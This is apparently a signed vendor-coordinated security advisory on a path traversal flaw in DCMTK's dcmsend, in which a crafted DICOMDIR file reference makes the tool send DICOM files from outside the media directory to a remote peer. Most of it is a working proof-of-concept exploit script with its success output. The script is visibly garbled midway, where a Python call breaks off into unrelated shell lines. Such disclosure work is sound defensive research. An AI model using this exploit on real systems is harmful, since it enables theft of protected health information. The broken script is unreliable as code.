-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-047 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Path traversal (CWE-22) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's dcmsend is vulnerable to path traversal when it is instructed to read input files from a specially crafted DICOMDIR. This can lead to unauthorized disclosure of readable DICOM objects, including protected health information. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The dcmsend command line option --read-from-dicomdir (+rd) enables DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the referenced SOP instances to its transfer list. The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR() in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to host path separators with dicomToHostFilename(), and then combines the result with the DICOMDIR directory: const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString), pathName.usesWideChars()); OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename, OFTrue /* allowEmptyDirName */); dicomToHostFilename() only replaces "\\" with the host path separator. It does not reject ".." components, absolute paths, or other traversal patterns. OFStandard::combineDirAndFilename() also does not canonicalize the result or verify that the final path remains below the DICOMDIR directory. Therefore, a ReferencedFileID such as "..\\OUTDIR\\SECRET" becomes a host path like "MEDIA/../OUTDIR/SECRET". The attack chain is as follows: 1. The attacker crafts a DICOMDIR with an IMAGE directory record whose ReferencedFileID contains traversal components, for example "..\\OUTDIR\\SECRET". 2. The same record contains ReferencedSOPClassUIDInFile, ReferencedSOPInstanceUIDInFile, and ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM object. 3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the crafted DICOMDIR. 4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR location without rejecting the traversal. 5. dcmsend opens and transmits the traversed DICOM file to the configured remote storage SCP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To demonstrate this security isssue, a PoC exploit was developed that sends a DICOM file outside the media directory to an attacker when an attacker-controlled DICOMDIR is used by dcmsend. The crafted DICOMDIR contains a path traversal attack vector in ReferencedFileID. cat > poc.sh << 'EOPOC' #!/bin/bash # Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend set -u WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)" MEDIA_DIR="${WORKDIR}/MEDIA" OUTSIDE_DIR="${WORKDIR}/OUTDIR" RECV_DIR="${WORKDIR}/recv" TARGET_DUMP="${WORKDIR}/target.dump" DICOMDIR="${MEDIA_DIR}/DICOMDIR" TARGET_FILE="${OUTSIDE_DIR}/SECRET" DCMSEND_LOG="${WORKDIR}/dcmsend.log" STORESCP_LOG="${WORKDIR}/storescp.log" cleanup() { if [ -n "${STORESCP_PID:-}" ]; then kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true fi rm -rf "${WORKDIR}" } trap cleanup EXIT require_tool() { command -v "$1" >/dev/null 2>&1 || { echo "[!] Missing required tool: $1" exit 1 } } require_tool dump2dcm require_tool dcmdump require_tool dcmsend require_tool storescp require_tool python3 mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}" cat > "${TARGET_DUMP}" <<'EOF' # Dicom-File-Format # Dicom-Meta-Information-Header # Used TransferSyntax: Little Endian Explicit (0002,0001) OB 00\01 (0002,0002) UI =SecondaryCaptureImageStorage (0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1] (0002,0010) UI =LittleEndianExplicit (0002,0012) UI [1.2.826.0.1.3680043.10.543.370] (0002,0013) SH [H7POC] # Dicom-Data-Set # Used TransferSyntax: Little Endian Explicit (0008,0005) CS [ISO_IR 100] (0008,0016) UI =SecondaryCaptureImageStorage (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1] (0008,0020) DA [20260630] (0008,0030) TM [120000] (0008,0060) CS [OT] (0008,0064) CS [WSD] (0010,0010) PN [POC^TRAVERSED] (0010,0020) LO [H7DCMSEND] (0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2] (0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3] (0020,0010) SH [1] (0020,0011) IS [1] (0020,0013) IS [1] (0028,0002) US 1 (0028,0004) CS [MONOCHROME2] (0028,0010) US 1 (0028,0011) US 1 (0028,0100) US 8 (0028,0101) US 8 (0028,0102) US 7 (0028,0103) US 0 (7fe0,0010) OB 00\00 EOF dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1 python3 - "${DICOMDIR}" <<'PY' import struct import sys out = sys.argv[1] def even(value, pad=b" "): return value if len(value) % 2 == 0 else value + pad def elem(tag, vr, value): group, element = tag if isinstance(value, str): value = value.encode("ascii") if vr == "UI": value = even(value, b"\0") elif vr not in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"): value = even(value, b" ") data = struct.pack(""${STORESCP_LOG}" 2>&1) & STORESCP_PID=$! sleep 1 set +e dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1 RC=$? set -e sleep 1 kill "${STORESCP_PID}" 2>/dev/null || true wait "${STORESCP_PID}" 2>/dev/null || true STORESCP_PID="" cat "${DCMSEND_LOG}" RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)" if [ "${RC}" -eq 0 ] && [ -n "${RECEIVED_FILE}" ] && dcmdump +P 0010,0010 "${RECEIVED_FILE}" | grep -q "POC\\^TRAVERSED"; then echo "[+] SUCCESS: dcmsend followed '..\\\\OUTDIR\\\\SECRET' and transmitted the outside file" dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}" exit 0 fi echo "[!] FAILED: traversal transmission was not verified" echo "[!] Workdir retained for inspection: ${WORKDIR}" trap - EXIT exit 1 EOPOC A successful attack is indicated by output similar to the following: ./poc.sh [*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA [*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET [*] DICOMDIR ReferencedFileID: (0004,1500) CS [..\OUTDIR\SECRET] # 16, 3 ReferencedFileID I: checking input files ... I: starting association #1 I: initializing network ... I: negotiating network association ... I: Requesting Association I: Association Accepted (Max Send PDV: 16372) I: sending SOP instances ... I: Sending C-STORE Request (MsgID 1, SC) I: Received C-STORE Response (Success) I: Releasing Association I: I: Status Summary I: -------------- I: Number of associations : 1 I: Number of pres. contexts : 1 I: Number of SOP instances : 1 I: - sent to the peer : 1 I: * with status SUCCESS : 1 [+] SUCCESS: dcmsend followed '..\\OUTDIR\\SECRET' and transmitted the outside file (0010,0010) PN [POC^TRAVERSED] # 14, 1 PatientName (0010,0020) LO [H7DCMSEND] # 10, 1 PatientID (0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1] # 32, 1 SOPInstanceUID This demonstrates that dcmsend reads a file outside the DICOMDIR directory and transmits it to the configured DICOM peer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-047 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-047.txt [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix https://github.com/DCMTK/dcmtk/commit/225ff1e0e42efcac64a5275e8f06ade14ca509b5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE0fCgNfBs5nXNuQUU2aS/ajStTasFAmpoxGsACgkQ2aS/ajSt TasjdRAAooVCdv7YbKr0gFfvFFTPPOnKoQg6clRWf8aVlvbaOCrjhOJkZJBjvVqN LXt/QEm5OqAqFJRiEYxzoqdkALHtIl1AVeiViQohok4UozCNpg3AgL9erPa4m5z9 awSW/lCfdCjtiebzeoJC6lYMm0R/dwVSKMmMheHTIaxlxP9zpkqOVezaGud0jT3K 6l6EtbHH1H/z2o+HZROwD4FGPqBIT1qtVrPy94/unmJTBahs2BlACEb+i//8ocu3 WeehPoeQZbW1a2kLOzoI2HG5nR1fo3Rss5BWwIPQisTjNWu7gTwLZ2EmIGKNdDg9 42UFsLO49wAURfPf82guf1llpG6hETKFrpVYhjykj3RVKqFIZKdLHHbz/H6wn7d3 XU5M3lFYRunmrifE5OdafQu6JUSED6ohT9r3w9nEh2eqt8dPHkO5pOmNf2nArQSk W3aJcKQ3Icg4MuCVX5lFcrNbmGzxx1bU13X8Q82X+yGW2RILPk7ul9nAw7Uq36dZ yvY/eCA+ClCIet7e8h5IBeITte1fDDakuRfM6/fOnayC8OuxJ4O0qA8ndl6GO6Xy A2AJHXz0TZnbERqqmVoRvDEhMPShigsywXhNKPhCL7/N3m5opbNeZEWe9MoLaSl9 KoTJxQvMpOQovKhclqsiwcLjxaYr6b0RDmk6kLJ/A6IjriStMQY= =+Nq4 -----END PGP SIGNATURE-----